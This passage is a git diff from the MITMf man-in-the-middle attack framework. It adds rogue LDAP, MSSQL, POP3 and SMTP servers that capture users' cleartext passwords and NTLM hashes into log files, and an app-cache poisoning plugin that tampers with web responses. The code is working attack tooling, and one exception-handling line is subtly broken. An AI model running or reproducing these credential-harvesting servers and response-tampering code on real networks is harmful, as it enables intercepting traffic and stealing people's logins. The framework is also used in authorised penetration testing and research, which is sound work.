class LDAPServer():
- def serve_thread_tcp(self, host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
+ def start(self, chal):
+ global Challenge; Challenge = chal
- #Function name self-explanatory
- def start(self, LDAP_On_Off):
- if LDAP_On_Off == "ON":
- t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP))
+ try:
+ mitmf_logger.debug("[LDAPServer] online")
+ server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
+ t = threading.Thread(name="LDAPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
-
- if LDAP_On_Off == "OFF":
- return False
+ except Exception, e:
+ mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@@ -54,15 +56,15 @@ def ParseLDAPHash(data,client):
UserLen = struct.unpack('.
import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
#MS-SQL Pre-login packet class
class MSSQLPreLoginAnswer(Packet):
diff --git a/core/responder/mssql/MSSQLServer.py b/core/responder/mssql/MSSQLServer.py
new file mode 100644
index 0000000..71d38a5
--- /dev/null
+++ b/core/responder/mssql/MSSQLServer.py
@@ -0,0 +1,127 @@
+import struct
+import logging
+import threading
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from MSSQLPackets import *
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class MSSQLServer():
+
+ def start(self, chal):
+ global Challenge; Challenge = chal
+
+ try:
+ mitmf_logger.debug("[MSSQLServer] online")
+ server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
+ t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception, e:
+ mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+
+ allow_reuse_address = True
+
+ def server_bind(self):
+ TCPServer.server_bind(self)
+
+#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
+def ParseSQLHash(data,client):
+ SSPIStart = data[8:]
+ LMhashLen = struct.unpack(' 60:
+ DomainLen = struct.unpack('H',Data[2:4])[0]
+ EncryptionValue = Data[PacketLen-7:PacketLen-6]
+ if re.search("NTLMSSP",Data):
+ return True
+ else:
+ return False
+
+#MS-SQL server class.
+class MSSQL(BaseRequestHandler):
+
+ def handle(self):
+ try:
+ while True:
+ data = self.request.recv(1024)
+ self.request.settimeout(0.1)
+ ##Pre-Login Message
+ if data[0] == "\x12":
+ buffer0 = str(MSSQLPreLoginAnswer())
+ self.request.send(buffer0)
+ data = self.request.recv(1024)
+ ##NegoSSP
+ if data[0] == "\x10":
+ if re.search("NTLMSSP",data):
+ t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
+ t.calculate()
+ buffer1 = str(t)
+ self.request.send(buffer1)
+ data = self.request.recv(1024)
+ else:
+ ParseClearTextSQLPass(data,self.client_address[0])
+ ##NegoSSP Auth
+ if data[0] == "\x11":
+ ParseSQLHash(data,self.client_address[0])
+ except Exception:
+ pass
+ self.request.close()
diff --git a/core/protocols/mssql/__init__.py b/core/responder/mssql/__init__.py
similarity index 100%
rename from core/protocols/mssql/__init__.py
rename to core/responder/mssql/__init__.py
diff --git a/core/responder/pop3/POP3Server.py b/core/responder/pop3/POP3Server.py
new file mode 100644
index 0000000..860ab91
--- /dev/null
+++ b/core/responder/pop3/POP3Server.py
@@ -0,0 +1,63 @@
+import logging
+import threading
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from core.responder.common import *
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class POP3Server():
+
+ def start(self):
+ try:
+ mitmf_logger.debug("[POP3Server] online")
+ server = ThreadingTCPServer(("0.0.0.0", 110), POP)
+ t = threading.Thread(name="POP3Server", target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception, e:
+ mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ TCPServer.server_bind(self)
+
+
+class POPOKPacket(Packet):
+ fields = OrderedDict([
+ ("Code", "+OK"),
+ ("CRLF", "\r\n"),
+ ])
+
+#POP3 server class.
+class POP(BaseRequestHandler):
+
+ def handle(self):
+ try:
+ self.request.send(str(POPOKPacket()))
+ data = self.request.recv(1024)
+ if data[0:4] == "USER":
+ User = data[5:].replace("\r\n","")
+ mitmf_logger.info('[+]POP3 User: %s'%(User))
+ t = POPOKPacket()
+ self.request.send(str(t))
+ data = self.request.recv(1024)
+ if data[0:4] == "PASS":
+ Pass = data[5:].replace("\r\n","")
+ Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
+ WriteData(Outfile,User+":"+Pass, User+":"+Pass)
+ mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
+ t = POPOKPacket()
+ self.request.send(str(t))
+ data = self.request.recv(1024)
+ else :
+ t = POPOKPacket()
+ self.request.send(str(t))
+ data = self.request.recv(1024)
+ except Exception as e:
+ mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))
\ No newline at end of file
diff --git a/core/protocols/pop3/__init__.py b/core/responder/pop3/__init__.py
similarity index 100%
rename from core/protocols/pop3/__init__.py
rename to core/responder/pop3/__init__.py
diff --git a/core/protocols/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py
similarity index 81%
rename from core/protocols/smtp/SMTPPackets.py
rename to core/responder/smtp/SMTPPackets.py
index 65e252c..0f80519 100644
--- a/core/protocols/smtp/SMTPPackets.py
+++ b/core/responder/smtp/SMTPPackets.py
@@ -16,21 +16,8 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
#SMTP Greating class
class SMTPGreating(Packet):
diff --git a/core/responder/smtp/SMTPServer.py b/core/responder/smtp/SMTPServer.py
new file mode 100644
index 0000000..f07df49
--- /dev/null
+++ b/core/responder/smtp/SMTPServer.py
@@ -0,0 +1,62 @@
+import logging
+import threading
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from base64 import b64decode
+from SMTPPackets import *
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class SMTPServer():
+
+ def serve_thread_tcp(self, port):
+ try:
+ server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
+ server.serve_forever()
+ except Exception as e:
+ mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
+
+ #Function name self-explanatory
+ def start(self):
+ mitmf_logger.debug("[SMTPServer] online")
+ t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
+ t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
+
+ for t in [t1, t2]:
+ t.setDaemon(True)
+ t.start()
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ TCPServer.server_bind(self)
+
+#ESMTP server class.
+class ESMTP(BaseRequestHandler):
+
+ def handle(self):
+ try:
+ self.request.send(str(SMTPGreating()))
+ data = self.request.recv(1024)
+ if data[0:4] == "EHLO":
+ self.request.send(str(SMTPAUTH()))
+ data = self.request.recv(1024)
+ if data[0:4] == "AUTH":
+ self.request.send(str(SMTPAUTH1()))
+ data = self.request.recv(1024)
+ if data:
+ Username = b64decode(data[:len(data)-2])
+ self.request.send(str(SMTPAUTH2()))
+ data = self.request.recv(1024)
+ if data:
+ Password = b64decode(data[:len(data)-2])
+ Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
+ WriteData(Outfile,Username+":"+Password, Username+":"+Password)
+ #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
+ mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
+
+ except Exception as e:
+ mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))
diff --git a/core/protocols/smtp/__init__.py b/core/responder/smtp/__init__.py
similarity index 100%
rename from core/protocols/smtp/__init__.py
rename to core/responder/smtp/__init__.py
diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py
index a182326..9fe76cb 100644
--- a/core/sergioproxy/ProxyPlugins.py
+++ b/core/sergioproxy/ProxyPlugins.py
@@ -103,7 +103,7 @@ class ProxyPlugins:
except KeyError as e:
pass
except Exception as e:
- #This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating)
+ #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function")
traceback.print_exc()
diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py
index 3aadfc5..4f3cb11 100644
--- a/core/sslstrip/ServerConnection.py
+++ b/core/sslstrip/ServerConnection.py
@@ -98,7 +98,7 @@ class ServerConnection(HTTPClient):
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0:
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
- except UnicodeDecodeError:
+ except UnicodeDecodeError and UnicodeEncodeError:
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
pass
diff --git a/libs/bdfactory b/libs/bdfactory
index 4609ade..0bd3429 160000
--- a/libs/bdfactory
+++ b/libs/bdfactory
@@ -1 +1 @@
-Subproject commit 4609adeb5383135352aa27113d8ee1398aecff99
+Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe
diff --git a/mitmf.py b/mitmf.py
index 349b76b..5263505 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -39,8 +39,6 @@ if os.geteuid() != 0:
mitmf_version = "0.9.7"
sslstrip_version = "0.9"
sergio_version = "0.2.1"
-dnschef_version = "0.4"
-netcreds_version = "1.0"
parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
@@ -162,17 +160,16 @@ print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip)
-print "|_ Net-Creds v{} online".format(netcreds_version)
+print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start DNSChef
from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start()
-print "|_ DNSChef v{} online".format(dnschef_version)
+print "|_ DNSChef v{} online".format(DNSChef.version)
#start the SMB server
from core.protocols.smb.SMBserver import SMBserver
-from impacket import version
-print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR)
+print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
SMBserver().start()
#start the reactor
diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py
new file mode 100644
index 0000000..4b787b9
--- /dev/null
+++ b/plugins/AppCachePoison.py
@@ -0,0 +1,206 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
+
+import logging
+import re
+import os.path
+import time
+import sys
+
+from datetime import date
+from plugins.plugin import Plugin
+from core.sslstrip.URLMonitor import URLMonitor
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class AppCachePlugin(Plugin):
+ name = "App Cache Poison"
+ optname = "appoison"
+ desc = "Performs App Cache Poisoning attacks"
+ implements = ["handleResponse"]
+ version = "0.3"
+ has_opts = False
+
+ def initialize(self, options):
+ self.options = options
+ self.mass_poisoned_browsers = []
+ self.urlMonitor = URLMonitor.getInstance()
+
+ self.urlMonitor.setAppCachePoisoning()
+
+ def handleResponse(self, request, data):
+
+ self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
+ url = request.client.uri
+ req_headers = request.client.getAllHeaders()
+ headers = request.client.responseHeaders
+ ip = request.client.getClientIP()
+
+ #########################################################################
+
+ if "enable_only_in_useragents" in self.app_config:
+ regexp = self.app_config["enable_only_in_useragents"]
+ if regexp and not re.search(regexp,req_headers["user-agent"]):
+ mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
+ return {'request': request, 'data': data}
+
+ urls = self.urlMonitor.getRedirectionSet(url)
+ mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
+ (name,s,element,url) = self.getSectionForUrls(urls)
+
+ if s is False:
+ data = self.tryMassPoison(url, data, headers, req_headers, ip)
+ return {'request': request, 'data': data}
+
+ mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
+ p = self.getTemplatePrefix(s)
+
+ if element == 'tamper':
+ mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
+ if os.path.exists(p + '.replace'): # replace whole content
+ f = open(p + '.replace','r')
+ data = self.decorate(f.read(), s)
+ f.close()
+
+ elif os.path.exists(p + '.append'): # append file to body
+ f = open(p + '.append','r')
+ appendix = self.decorate(f.read(), s)
+ f.close()
+ # append to body
+ data = re.sub(re.compile("